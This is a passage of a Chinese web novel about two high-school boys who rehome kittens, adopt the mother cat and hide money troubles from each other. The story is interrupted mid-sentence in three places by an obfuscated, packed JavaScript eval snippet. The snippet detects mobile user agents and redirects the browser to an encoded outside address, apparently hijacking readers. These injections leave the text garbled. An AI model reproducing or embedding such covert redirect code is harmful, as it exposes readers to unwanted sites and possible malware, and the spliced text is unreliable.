其实一个人是不是真心喜欢猫,很容易看出来,就吴琛逗猫的手法和娴熟的撸猫技巧来说,是个资深铲屎官没跑了。 李斯年放下心来,他分装了一些平时小猫吃的猫粮和冻干,用作去新家的过渡,又跟吴琛说了一下平时它们猫饭的用肉和配比。 “怪不得,小家伙一个个肥嘟嘟的,性格也好,你养的很精细啊。”吴琛将黑白相间的小猫抱进猫包,又问:“另外两只是不是还没找到主人呢?” 李斯年点头。 吴琛拿出手机:“我能给它们拍个视频吗?回头帮你在学校问问,我前两天还在校内论坛看到有人想养猫呢。” “那再好不过了,谢谢你。”李斯年说着,拿逗猫棒因着另外两只猫玩了会,让吴琛拍了几段视频。 就在吴琛准备离开时,许之来到门外,他似乎是快步赶来的,带着不算明显的喘息,想来和小猫道个别。 吴琛看出他们都很舍不得小猫,于是贴心的打开猫包,让许之摸了摸猫,又问:“你们给它取了名字没?” “没有,平常都是小小白、小黑白、小灰的叫着。”李斯年说。 “要不你们给小黑白取个名字吧!”吴琛突发奇想,“也算纪念他在你们这的时光,怎么样?” 李斯年觉得这个主意很不错,他看向许之,发现对方也正抬起头看自己,于是顺势对他说:“你来吧。” 许之想了想,问:“奥利奥怎么样?” 李斯年还以为以许之的性格,会取一个比较正儿八经的名字,没想到会是这么可爱的风格。 转念一想,又觉得的确特别贴合小黑白的外观颜色。 吴琛也觉得好,他冲着小猫一笑:“奥利奥?以后你就叫这个名字啦,记住没?” 小猫澄亮的眼睛看看这个、又看看那个,最后发出一声不明所以的“喵呜”声,逗得众人齐笑,将离别的悲伤冲散开来。 41. 约定 期末考试将近了,所有科目的老师都要赶着在今年结束所有的新知识点,每天的作业也开始增加,紧张的气息悄无声息的布满了整个高三班级所在的大楼。 李斯年和许之这样的学霸,基本都是保持自己的脚步节奏就行,相比之下,方行舟就是肉眼可见的焦头烂额。 他作为一个理科生,数理化的成绩却总是比语外差点意思,虽然平时看不出来,但其实心里还是着急的。 下午第二节课化学,董老师又布置了三张卷子晚自习做,方行舟已经刷完了习题册,便想趁着第三节课英语早点开始写卷子。 但课代表魏旬虽然在课间去办公室将卷子拿了回了,却偏偏不往下发,就这么叠摞在自己的课桌上。 方行舟实在不想主动去找他搭话,但等啊等,眼看下节课的铃声就要响了,这人根本没要发卷子的意思。 方行舟终于站起身,走到魏旬座位旁,干巴巴的说了句:“领一下作业。” 然后就伸手要抽卷子。 “啪”的一声,魏旬突然伸出手,拍按在卷子的最上方,方行舟猝不及防,伸出的手也被压在了卷子底下。 “你有病啊?”这一下虽然不疼,但方行舟觉得很驳面子,他抽出手,“这是老师布置的作业,凭什么不让拿?!” 他声音不算小,周围的同学都安静片刻,朝这边看来。 “董老师说了,这是晚自习的作业。”魏旬看了他一眼,厚厚的镜片下目光仍然有些愤愤。 “所以呢?又不是考试,还非要晚自习才能发下来啊?” 方行舟觉得莫名其妙,再瞧魏旬的模样,觉得他十有八九就是故意在为难自己:“我没见过一个男生能这么小肚鸡肠的,不就是之前在天珠峰跟你吵了架吗,记仇记到现在?” 魏旬难得的不肯让步,回怼道:“你少胡说八道,我是化学课代表,什么时候发卷子是我说了算!你不服,可以去问董老师!” 方行舟气笑了:“哟,课代表有什么了不起,你哪一次化学成绩超过了李斯年的?要我是你啊,恨不得找个地缝钻进去,立刻找老董头引咎辞职!” “你、你血口喷人!”魏旬噌的一下站起身,脸憋的通红。 方行舟嘴皮子太厉害,他憋着一肚子气但根本吵不过,于是更气了,他一把拉住方行舟就要往外走:“你上次侮辱我的事情还没完,走,我们去找老师说说看,到底是谁的错!” 方行舟才不会顺他的意,他一把甩掉了魏旬,往后连蹦了几步,做了个鬼脸:“请问你今年几岁啊,还玩‘告老师’的把戏?我哪有侮辱你,我是陈述事实啊,你就是成绩没人家好,长得还比人家丑,我哪里说的不对,你问问其他人呗?” “好了好了,别吵了,等下老师要来上课了。”李斯年扶着额角,拉了一把方行舟,心想着你俩吵归吵,能不能别老扯上我啊,和我有什么关系。 “就是说啊,方行舟,都是同学,你这样讲话也太伤人了。”班长也站了出来,她挡在方行舟与魏旬之间,“以貌取人可不对,你跟魏旬道个歉。” 说完,又转向魏旬:“你也是,别老这么死板嘛,卷子提前一节课发又不会怎么样。” “我又没错,干嘛道歉。”方行舟嘟囔着,随即被黄锦婷扫过一记眼刀,于是缩缩脖子。“是是是,我不对,我的错——” 说着,伸手把三份卷子拿走,随后一边往座位跑一边继续说:“我错在不该说大实话,太伤人了!” “你这家伙!”黄锦婷眉心一跳,还要再说什么,然而上课铃声已经响起,英语老师准点踏进教室,她也只好闭上嘴,回到了座位。 短暂的闹剧就像是一场小插曲,大家都一笑而过,李斯年从书桌里抽出昨天的英语卷子,发现比平常多错了几道题,于是决定难得的放弃睡觉、听听讲。 他刚挺直腰板,就感觉到背后的衣服被人拉了拉,那动作很小、很轻,李斯年一开始还以为是有风吹过。 他刚想转身,就看见一个白色的东西一晃而过,是许之抬手丢了个纸团,正落在他桌上。 李斯年将纸团展开来看,许之大概是随手写的,字迹比较潦草,撇捺有些飞起,但仍然很漂亮。 他写:天珠峰上怎么吵架了? 李斯年回忆片刻,想起那时候许之正好人走了,不在,所以不知道前因后果。 但这人向来不是好奇心重的性格,怎么突然问起这件事了? 李斯年拿起笔,写道:没什么,就是钱霆来送饮料,说了些浑话,魏旬相信了,方行舟反驳他,他俩吵了几句。 他下意识隐去了钱霆说的具体内容、和自己的反应,不想让许之看出他心里的端倪。 李斯年将纸团折起,保持着面对前方的姿势,手悄悄往后伸,将纸条放在了身后的桌上。 一阵窸窣展开纸张的声音,然后是片刻的安静,李斯年甚至都能想象到许之一字一句读纸条的认真模样,然后听到他终于拿起笔,写下字,又拉了拉李斯年的衣服。 李斯年将手背到身后,摊开,感觉到许之把纸条放在他手上,微凉的指尖在李斯年手心滑过,像是蜻蜓点水般,荡漾开微弱的涟漪。 李斯年心想,自己以前怎么没发现传纸条这么有意思呢。 展开纸条,许之:以后小心魏旬,他好像挺针对你。 李斯年一笑,提笔正想写“他那种书呆子再针对又能怎么样”,就猛地想起了李宇那天扔在床上的手机。 那里面的照片,一定是学校里的人拍的,因为几乎都是上学时间内,校园处于封闭状态时拍的。 而且有不少距离都很近,明显是手机拍摄,外面的人根本做不到。 其实他首先怀疑的是许贺亮,因为他有动机、也有拍摄条件,但说不通的是,其中有不少照片又是许贺亮不可能出现的场合,比如秋游时、教室内、许之发烧那天。 许之这样一说,倒是提醒了他,如果这些照片是魏旬拍的呢? 那一切都说得通了。 可是……他干嘛要这么做? 李斯年回想过去,自己和他几乎没有交集,难道只是因为方行舟是自己的好朋友、然后骂了他?又或者是因为自己每次考试分数都比他高? 但这些事情在李斯年看来都太小了,不值得积累这种程度的恨意。 他写下一行字问许之:他为什么对我恶意这么大?你是不是有什么事瞒我了? 半分钟后,他收到了许之的回复:没有,你注意点就行了。 李斯年觉得许之肯定有事情没说,不然他跟魏旬同学三年,都没意识到他对自己有什么意见,许之怎么短短几个月就发现了。 英语老师正在讲台上讲题讲的抑扬顿挫,还点了几个同学回答问题,李斯年趁机低头转身,小声对许之说:“喂,到底有什么是我不知道的?” 许之没想到李斯年胆子这么大,看了他一眼,伸手就把他夹在指尖的纸条抽走,捏成一团丢进了抽屉里,用无声的口型回答:“我说了,没、有。” 李斯年不依不饶:“肯定有,我直觉向来很准。” “不信拉倒。”许之无声的说完,突然抬起头,破天荒的举了手,朗声道:“老师,这题选A。” 英语老师一脸惊喜:“啊,是的。许之同学,这样很好,以后上课也要积极举手发言啊……诶,李斯年,你转过去干什么,这题做对了吗?” 李斯年只好“嗯”了一声,被迫转过身去。 这家伙,什么时候学会这种坏招数了? 他愤愤地用后背拱了一下许之的课桌表达不满,过了会,却听到身后传来一声很轻的笑声。 李斯年心下一软,那本身就不多的气,突然就消散无踪了。 - 周五,吴琛打来电话,说找到了另外两个想要领养小猫的人,一个是同校的学姐,另一个是隔壁大学篮球队的朋友。 于是约在周六,吴琛带着他们来三岔巷子看小猫,聊的都还算顺利,最后小灰和小小白也都跟着新主人去了新家。 现在就剩下小白还没有人愿意领养了。 “没办法,大家都比较倾向于领养小猫,从小方便培养感情嘛。”吴琛无奈的说,“但我会持续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401253|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮你们问着的。” 李斯年看向正在窝里休憩的小白,她眼睛没有完全闭上,而是处于半睁不睁的状态。 这是她在生产之后养成的习惯,如果小猫发出叫声,她就能立刻醒来,起身去看。 但此刻屋内已经没有小猫了,是难得的安静,只是小白还没意识到这件事。 “她会不会伤心?我们把她的孩子都送走了。”李斯年喃喃道。 孙家娟给几人煮了点绿豆水,推着轮椅将托盘端过来,她感叹道:“总有这么一天的,就算在野外,小猫们断奶后也是会离开猫妈妈,然后各自生活的。” “是啊,而且领养的都是朋友,以后想见随时见。”吴琛也接上一句。 李斯年长长叹了口气,他知道通常成年、特别是怀孕生产后的母猫,会有一些爱猫人士带去宠物医院做绝育,然后再原地放生。 因为大猫对新环境和人的适应都比较慢,是很难找领养的,就算有人领养,后续也容易出弃养等问题。 如果一直没有人领养小白,该怎么办呢? 真的要把她放归大自然吗? 但三岔巷子已经有了微妙的变化,小白从巷口走到巷尾,也再也看不到那个熟悉的黑猫身影了。 李斯年感觉心里有点堵得慌,他想了会,看向许之,迟疑道:“我可不可以……” 许之:“嗯?” “可不可以领养小白?”李斯年问。 许之一怔,还未回答,孙家娟先开了口。 “那等明年你们考上大学的时候,小白怎么办呢?”她问。 “我走哪带哪,上大学也不一定非要住校的。”李斯年说。 “如果以后出国读研读博呢?”孙家娟又问。 李斯年沉默了。 孙家娟柔声道:“我不是否定你们的选择,只是未来会有无数种情况,你们确定都想到了、且能够接受吗?” 李斯年和许之心里都明白,他们以后大概率会考到很好的大学,如果有出国深造的机会,肯定也不会放弃。 未来是那样充满着变动和不确定性。 而且他们没有可以当做港湾的地方,不能指望在需要的时候,将小白寄养在家人那边。 李斯年就坐在那儿,埋着头,想了很久,他没放弃、却也没有贸然说那些一腔热血的话。 许之站在一边,看着他发丝蓬松的头顶,在靠后脑勺的位置有一个小小的漩,有种莫名乖巧的感觉。 他委屈巴巴的时候总是很像一只小狗。 李斯年感觉到有人将手放在自己肩上,五指微微收拢,是一种带着支持意味的安抚。 他抬起头,正撞上许之的目光。 许之脸上挂着很淡很淡的笑容,眼中有一种名为笃定的情绪,他轻轻地、几乎难以察觉的向李斯年点了点头。 李斯年忽然觉得像是有人在狂风暴雨之中关上了窗,将纷飞的窗帘布抚平、破碎的茶几扫净,让一切恢复了平息。 其实在脱离李宇之后,他不得不开始学着去面对许多事情都抓不牢握不住的无力感。 也是第一次知道妥协两个字怎么写,他因此送走了三小只、拖着恶臭的泔水桶走在路上、在招聘时恶意质疑的言辞里赔着笑脸。 或许此时此刻,不是小白需要有人领养,而是他需要领养小白。 他想要留住些什么,仿佛这样就不会丢失那些骄傲和自尊。 这样的心情很难为外人道也,但李斯年在这瞬间却莫名觉得,或许许之是懂得的。 李斯年回应他一个笑容,开口说:“要是出国,也把小白带上,虽然宠物坐飞机手续繁琐,但总能有办法的。” 孙家娟表情有些无奈,其实她早就猜到是这个结果,李斯年是什么性格,她太清楚了。 不过,虽然少年人的天真的确充满草率,但这样的勇气是可贵的,亦是会随着年龄而被消磨的。 在它尚且存在时,不如就不要干涉太多比较好。 孙家娟叹笑道:“行,你们想好了就好,这两天有空就收拾收拾,带她回你们那边吧。” 42. 露馅 次日,李斯年就把小白的东西都收拾好,将她带回了出租屋。 小白有些小心翼翼的从猫包探出头,在地上转了一圈,不过五分钟就已经彻底放松下来,吃吃喝喝,然后跑去窝里舔毛。 李斯年简单用中午剩的米饭煮了个粥,又煎了两块猪排。 若是平时,这些李斯年都能吃完的,但今天却是剩下几块,许之看他搁下筷子,问:“怎么了,哪里不舒服?” 李斯年摇摇头:“只是想起来,之前小白在这里时,几只小猫还在,再早些时候,小黑也在……” 许之和他相处这段时间,已经了解李斯年看似大大咧咧,实则是个非常多愁善感的人,或许是随了母亲。 这样的好处是敏锐细腻,能察觉到常人忽略的东西,缺点就是太擅长共情,容易捕捉到这样物是人非的瞬间。 许之不太会安慰人,他思考了好一会措辞,正要开口,却见对面的少年忽然咧嘴一笑,自我开解道:“幸好,你还在这里。” 许之嘴唇微微张着,不知该怎么接这话,就听李斯年又问了句:“你不会离开的,对不对?” 他脸上还挂着笑意,声音却是认真而低沉,许之隐约觉得问话似乎别有深意,但当要仔细思索时,那一缕异样的感觉又忽然消失无踪。 他只好不再多想:“当然了,我能去哪?” 李斯年得到答案,一脸满意,似乎是心情带动了食欲,他重新拿起筷子,夹了一块猪排,闲聊道:“诶,你是不是也想考广都大学?” 许之点头,这可是国内最顶尖的大学,也是所有学子心目中的最高殿堂,有不少系在国际上都是排名靠前的,其中就有心理系,还有—— 许之问:“你想考广大的化学系吗?” 李斯年有点惊讶:“你怎么知道?” “看得出来,你很喜欢化学。”不仅仅是因为李斯年化学考试分数总是很高,而且许之平时看他做化学题时就格外有探究精神,不像别的科目,只是偏方法论套公式。 日常刷视频网站时,也经常看化学相关的内容,这明显是因为兴趣。 “没错,我以后想要在大学做化学老师、或者进行专题研究。”忽然想到什么,李斯年眼睛一亮,“你到时候也可以在大学心理室做咨询师,那我们就能在同一个地方上班了!这么一想,做实验要穿白大褂,心理医生也要穿白大褂,挺巧。” 许之不知道他脑回路怎么会这样跳跃,其实他对未来的憧憬一直都是模糊的,简而言之都是“逃离”二字。 他不敢设想更具体的内容,这可能也是种心理回避——害怕想得多了、反而达不成。 但顺着李斯年的话,他却忍不住开始想象李斯年穿着白大褂、戴着护目镜的样子,到了中午,会不会也能像现在这样,和朋友约着一起去食堂吃饭。 李斯年个头还会再比现在高一点吗?会不会比现在更沉稳一些,更像个大人了。 许之想着想着,心底又生出些许失落 也不知道到了那一天,自己能不能亲眼看到。 忽然,李斯年的手出现在许之面前,他四指轻轻握,单单伸出小拇指:“那就说好咯?” 许之回过神:“什么?” “以后最起码要在一个城市工作吧?如果能在同一所大学,就更好了。” 李斯年这话说得充满稚气和想当然,未来的事情哪能“说好”呢? 许之明知道是一时兴起的玩笑话,却也忍不住想要放纵自己当真一回。 他笑着伸出手,勾了勾李斯年的小拇指:“嗯。” - 次日周日,因为前一天忙小猫领养的事,李斯年将所有家教课都挪到了周日。 他从第四个学生家里出来时,天已经擦黑了,讲了一天话的嗓子沙哑疼痛,他走进家便利店,站于货架停顿片刻,在两块和一块五的矿泉水里选择了后者。 “结账。”他走到收银台前,却发现没有人,反而是越来越大的说话声从里间并没关严的门缝间传出。 “现在是你当班,店里的事情当然都归你做啊,这两个货柜都坏了多少天,旧的不挪出去、新的就进不来,这几天热销品的断货情况越来越严重,你来承担这个损失?!”一个稍高的男人拔高声音,他胸前别着一个金属牌子,上面写“店长”二字。 在他面前的大概是收银员员工,他梗着脖子辩驳:“凭什么不是早班那个人搬?他是你朋友,所以你就偏袒是吧?这么重的货架,我怎么可能一个人搬得出去!我拿的小时工资是收银和整理清点售卖商品,不是搬运工!” 店长气得伸出手,指着对方:“我就没见过你这种自私自利的员工!我告诉你,不搬可以,你被开除了,现在就走!” “走就走!”员工将身上的牌子摘下,往店长脚下用力一丢,推开门快步就走了出去。 李斯年被他离开的那阵风吹动了一侧的发梢,他探头朝里看,店长正好也走了出来。 “啊,不好意思。”店长见店里有客人,立刻收起了刚才刻薄的表情,走到收银台前,扫码矿泉水,“您好,一共一块五。” 李斯年付了钱,一边拧开盖子往外走,感应门叮咚响起。 他喝了口水,不待门合上,忽然转了身,又走进来:“那个……” “怎么?”店长问。 “不知道你是否愿意出些辛苦费,我可以帮忙把坏货架搬出去。”李斯年身后攥着矿泉水瓶的手微微收紧,塑料变形的声音被掩盖在他的话语中。 店主狐疑的打量着这个无论外形还是气质都和脏活累活看上去毫无关系的少年:“你还是学生吧?能弄得动吗?” 李斯年:“放心,我力气大得很,不然你还得自己搬,挺重的。” 这话说到店长心里了,他想了会,从收银台后面绕出来:“八十块,行就行,不行算了。” “行!”李斯年一口答应,卷起袖子就往里间走。 货架有几根柱子和挡板都有破损、断折,李斯年从角落里翻找出一个已经有所磨损的劳保手套,将手臂卡进货架间隙中,握紧隔柱,牙一咬,就往外搬。 这些都是很老旧的木质货架,的确很重,李斯年搬几步就要歇一歇,搬完第一个货架时,身上就已经蹭满了灰尘,汗渐渐湿透衣背,黑发一缕缕贴在脸边。 他把裤袋里剩下的半瓶水一饮而尽,往垃圾桶丢去,然后进去搬第二个货架…… “没想到你干活还挺利索的。”店长满意的抽出一张五十、一张二十递给他,在李斯年接过时,看到了什么,倒吸了口气:“你这……” “没事。”李斯年接过钱,将手背在身后,“你们周六日还招售货员吗?” 见他避过不提,店长正好放弃询问,回答道:“招是招,但只是周末来不行,得做六休一,分早晚班。” “好吧,那算了。”平时还要上学。 李斯年说完,转身就离开。 - 天已经彻底暗了,李斯年回到出租屋,还没开门,就已经闻到屋内传来的饭菜气味,应该是许之在炒菜,闻起来是番茄炒鸡蛋,鸡蛋还有点糊了。 李斯年忽然觉得心里暖暖的,他无声一笑,掏出钥匙开了门。 “今天怎么这么晚?”许之一遍往外盛着番茄炒蛋,转过头问。 “学生有道题死活搞不懂,只好又拖了堂。”李斯年自然的说完,将钥匙往桌上一放,就进了卫生间。 许之又炒了个青菜,把饭也端上桌,才发现人还没从卫生间出来。 “吃饭了。”他走到门前,敲了一下。 “好。”门内李斯年说。 许之拿了筷子,回到桌前,想等李斯年来了一起吃,于是先看了会手机。 但这一等就是又十分钟过去,终于听到卫生间门打开的声音传来,李斯年没有到饭桌这边,而是转去床头的柜子里,蹲下身翻找着什么。 如今气温渐渐低了,饭一出锅就很快没了热气,许之闻声转头,催问道:“找什么呢,吃完再弄吧?” “嗯,就来了。”李斯年说。 话虽如此,但他还是保持着蹲下、背对着餐桌的姿势,像一只小仓鼠,埋着头鼓捣着什么。 许之觉得有点奇怪,他站起身,三两步走到李斯年身边,李斯年听到脚步声,却忽然有些慌张起来,手忙脚乱的想把东西往抽屉里塞。 但还是有几片东西散落出来,掉在地上。 许之眼疾手快,抢在李斯年伸手之前将东西捡了起来——是几片创可贴。 “你哪里受伤了?” “没、没有……” 许之不容置疑的抓住了李斯年的左手,一道划痕引入眼帘,从内侧手腕处向下到小臂中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401254|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段,伤口不算深,但很长,已经有浅层的皮肉泛起,似乎被水冲过,翘起的边缘发白。 “怎么弄的?”许之问。 “回来路上摔了一跤。”李斯年解释,“你也知道,三岔巷子有好多灯坏了,晚上看不清路,就被绊了一下,手就正好撑在一个尖石头上了。” 许之静静看着他,黑白分明的眸子简直要让李斯年差点藏不住秘密,于是又没话找话道:“家里好像没碘酒了,我贴点创可贴就行。” 听到这里,许之终于有了动作,他将李斯年推到饭桌的椅子上:“创可贴的长度不够,你先吃饭,我去买碘酒和纱布。” 大路旁边就有一家药店,许之来去只用了不到十分钟,他将塑料袋放在桌上,先拿出来的却是一瓶冰可乐。 李斯年有些惊喜,打开喝了一口,清凉又充满气泡的饮料滑过喉咙,感觉整天的疲惫都一扫而空了。 “手伸出来。”许之说。 李斯年乖乖巧巧的照做,许之用碘酒给伤口消了毒,然后将药粉洒在棉花上,铺好伤口,松松的绕了一圈纱布。 “好了。”许之起身,将剩下的纱布碘酒收了起来,没再多说、多问什么,坐到桌前开始吃饭。 李斯年其实刚才没吃几口,还是想等许之回来,但回来之后他也没说几句话,李斯年心里有些不安,他一边扒着碗里的饭,一边偷瞄许之。 李斯年能感受到许之似乎有点不高兴,但又不确定是不是因为看出了自己撒的谎。 这样压抑的氛围让他有点难受,又过了几分钟,终于忍不住没话找话道:“你……今天打工顺利吗?” “嗯。” “赚了多少,累不累?” “三百,还好。” 许之的回答简洁又不留话头,李斯年讨了个没趣,只好闭上嘴,沉默着吃完剩下的饭。 他突然觉得可乐都变得没那么好喝了。 吃晚饭后,李斯年主动收拾,在这边二人也是有着做饭不洗碗、洗碗不做饭的规矩,但他刚叠起碗筷,许之就伸手抽走了。 “你的手这几天不能沾水。”说完,连同着盘子一起拿走,转身去水池。 这个人怎么油盐不进的呢?李斯年活像个迷茫的小狗,在屋子里原地转了几圈,忽然想起什么,去卫生间拿了自己的毛巾,走过去递给许之。 许之看向他。 李斯年:“我不方便洗澡,也拧不了毛巾,你帮我一下好不好?” 委屈巴巴的语气配上委屈巴巴的眼神,许之停顿在半空的手终于动了,接过毛巾,去卫生间接了一盆热水,帮他将毛巾浸透然后拧成半干。 “给。” 李斯年手去拿毛巾另一端,在许之尚未松手的瞬间,将毛巾往回一扯,二人距离拉近:“你是在生我的气吗?” 许之浓密的睫毛轻轻一抖,挪开了原本对视的目光:“没有。” 他说着,松开握着毛巾的手,刚转身,李斯年又抢先拦在卫生间门前:“明明有,我感觉到了。” 李斯年总是这样打直球,许之已经习惯了,他沉默片刻,说:“你的伤是划伤,而且不是石头,是木头之类的。” 果然是被瞧出来了,但李斯年有点好奇:“你是怎么发现的?” “伤口里有木屑残留。”许之说完,叹了口气:“你除了做家教,还额外打工了是不是?上次多出来的一百块也是这样来的?” 李斯年就知道瞒不过他太久,只好承认:“我反正有时间嘛,闲着也是闲着。” 许之摇摇头,他蹙着眉,好一会才又开口,嘴唇蠕动,说的又慢又轻:“我不想你这样……” 李斯年看出许之有点难过,虽然不太明白为什么只是多打了分工,他就这样难以接受,但还是好声好气的道:“你不想,大不了我以后就不打这种工了,我就……教教学生,补补课,行不?” 许之半信半疑的看着他,半晌才开口,询问的语气很认真:“真的?” “真的。” 许之无声的叹了口气,眉间的阴云散去些许,他“嗯”了声,又想起什么,转身将热水盆端出门去,用脚踢了个椅子到门外,然后搁下水盆,又将门掩上。 “你擦吧。” 李斯年一愣。 “擦了就把毛巾递出来,我帮你拧。”许之的声音平静淡然,隔着门传来。 43. 筹钱 李斯年一听许之这么说,瞬间就怂了,什么洗澡拧毛巾,都是他为了有台阶下,找的说辞罢了:“太、太麻烦了,我一天不洗也没事。” “在外面跑了一趟,不洗干净怎么行?”许之帮他关上门,“快点,等下水要冷了。” 许之无论语气还是表情都非常正经,让李斯年觉得自己多想些什么都是罪恶似的,再推辞就显得欲盖弥彰了。 于是他只能硬着头皮,隔着一道门,窸窸窣窣脱了衣服。 用半湿的毛巾擦了手臂和背,李斯年正有点“偶像包袱”的想把毛巾叠整齐一点再递出去,许之就仿佛有透视眼似的,时间卡的刚好,在门外轻轻敲了敲。 李斯年只好将门打开一条缝,不大不小正够一只手伸出去。 许之接过他手里的毛巾,放进热水盆里,淘洗的声音从门缝隙传来,奇怪的是,声音落进耳中,就莫名其妙烫得很,仿佛冒着泡,咕噜噜一路滚到李斯年心里。 隔着一道门,他看不到外面,却阻止不了想象—— 那条毛巾刚擦过自己的皮肤,沾了汗,现在正被许之白皙纤长的手指拿着,在热水中舒展,再拿起来拧干。 真是…… 要了命了。 “诶。” 李斯年一个激灵:“啊?什么?” 门缝之间,许之拿着毛巾的手摇了摇,他声音有些无奈:“接着啊。” “噢,好。”李斯年赶紧去拿,都没发现自己下意识伸出的双手显得有些虔诚。 他总共就往外递了两次毛巾,只想赶紧结束这难熬的时间,然后又借口说要刷牙,在卫生间里多呆了快二十分钟。 直到门外水盆里的热水凉透了,他身体里那股火也终于降了温,才敢出来。 碗筷锅碗都收拾好了,只剩淡淡的饭菜味残留在空气中。 窗外夜深,为了省点电费,许之已经把大灯关上,只留桌上一盏台灯。 黄色调的灯光像是透明的蝉翼,将许之温柔的包裹其中,他神色认真,正拿着笔,算墙上的账单。 “下周末就要交房租了,按照打工收入预计来看,还差大概920元。” 许之半个身体转过来,手搭在椅靠上:“你上次说的法子怎么样了?如果不行,我还有个兜底的方案……” “不用不用,挺顺利的,你就别担心了。“李斯年换了一身睡衣睡裤,天渐渐冷了,课桌通常都留给许之用,他早早就钻到被子里玩手机:“就是买家也是个学生,要下周手里才能周转开,我最迟周六晚上把钱给你。” “这样啊。”许之稍稍松了口气,这样好歹这个季度的房租就能凑够了。 虽然下个季度的房租还要从零存起,而且寒假、过年期间,会有很多地方休假停工,活儿更难找……但那些不可控的未知,就留给之后再烦恼吧。 许之攒的那部分钱还放在碧水名城卧室的饼干盒里,他盘算着等下周上完课,周六白天回去一趟取了,顺便再把过冬的衣服收拾来。 一边想着,一边从床尾钻进了内侧的被褥里。 不知为什么,两个人睡,哪怕不是盖同一个被褥,也会比一个人睡要更容易暖和些。 许之往年入冬后,都是手脚冰凉的一觉到天亮,但今年这个情况要缓解不少。 李斯年这边刷着手机,余光瞟见这人又把自己裹成了一个蚕茧,好看的小脸半边陷在柔软的枕头上,眼皮子已经在打架了,像是一只可爱的、毫不设防小动物。 李斯年心中某处变得很软,他悄无声息的关上台灯,将手机锁屏,放在枕边,一同睡去了。 期末考试越来越近,作业多、日子充实,时间也就过得快,转眼又到了周末。 李斯年周六排满了家教课,早上七点半就出了门。 许之也先去打了份零工,交班后已经是下午三点,他提前微信向李倾诺确认过李宇和许茜人还在庆城,然后坐公交,回了趟碧水名城。 尽管是白天,这里还是一如既往的安静,院子里的树被修剪过,就像是图画里那样完美、毫无分叉枝丫的模样,玄关大理石明亮洁净,甚至能反射出人影。 李倾诺听到声音,端着喝一半的豆浆从餐厅走过来,见只有许之一个人,有点意外:“我哥没跟你一起回?” “嗯,我只是来拿些自己的东西,他今天在上家教课。”许之说着,挎着双肩包上二楼,进了自己的卧室。 屋内一切都像是离开那天,毫无灰尘的地板暗示着赵婶其实仍然每天会进来打扫,只是除了打扫,其他一概没动。 许之从架子上取下饼干盒,又打开抽屉,手伸到抽屉深处摸索片刻,找到了饼干盒的盖子。 盖子内侧用胶布粘着一个用纸包着的长方形卡片——那是许茜很久之前给他办的卡,里面放着所有许茜给他的、他一分没动过的钱。 许之看着饼干盖子,不知想了会什么,最后还是没有撕下那卡片,而是将饼干盖子拧紧,整个塞进了背包里。 正要往门外走,却看到李倾诺拿着一个信封,做贼似的等在门口。 “我又卖了两本漫画,应该够你们凑齐这个季度的房租了。”她小声说着,又伸头去偷看厨房方向的赵婶,将信封塞到许之手里。 “不用了,李斯年说已经想办法筹到钱了。”老让她小小年纪为这件事操心奔波,许之也有些过意不去。 李倾诺却是一脸疑惑:“他想什么办法?爸爸把他所有名牌奢侈品都清走了,上次他回家找了个空啊。” “什么?”许之怔住,“他之前明明和我说,已经卖掉了,但这周末才能拿到钱……” 他越说,越意识到了什么,到最后,声音几乎小到听不见了。 “李斯年知不知道你又卖漫画了?”许之问。 李倾诺摇头:“他让我别管了,但我还是担心……你们平时也要上学,没那么多时间打工啊,这钱你就拿着吧,以后再还我都行。” 李斯年不知道李倾诺今天会给他卖漫画的钱,那上周末又为什么对自己承诺说周六能拿到剩下的房租钱呢? 这不是小钱,况且之前算的账,是已经撇去二人这个周末打工收入的,他要上哪、怎么弄到这笔钱? 许之心中疑窦丛生,但表面却不显露,他将信封还给李倾诺:“真的不用了,就算李斯年没筹到钱,我也还有应急的钱。”说着,掏出手机,看了眼时间。 现在四点多,算来李斯年应该结束了第三个家教,正往第四家去的路上,许之转身一边下楼,拨通了电话。 却听到听筒内传来一声:您拨打的电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401255|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时无法接通,请稍后再拨。 连打几个都是如此。 是手机没电关机了么? 李倾诺跟在许之后面,也听到了电话里的声音:“哥哥会不会出什么事啊?” 许之摇头:“别担心,可能只是手机没电。” 思索了片刻,问:“你有梁芷的电话吗?” 李倾诺“嗯”了声,将电话发给许之:“我哥会和她在一起吗?” “李斯年下午两个家教是梁芷介绍的同学,应该能联系到吧。”许之不欲多说,换鞋出门,“有消息我再和你说。” 许之一边往碧水名城大门走,打通了梁芷的电话。 “喂?哪位?”梁芷的声音传来。 许之自报了家门:“我联系不到李斯年,你知道他今天的第四节家教课是在哪个同学家里吗?” “许、许之哥啊。”梁芷突然一结巴,然后支支吾吾道:“我……我也不知道诶。” 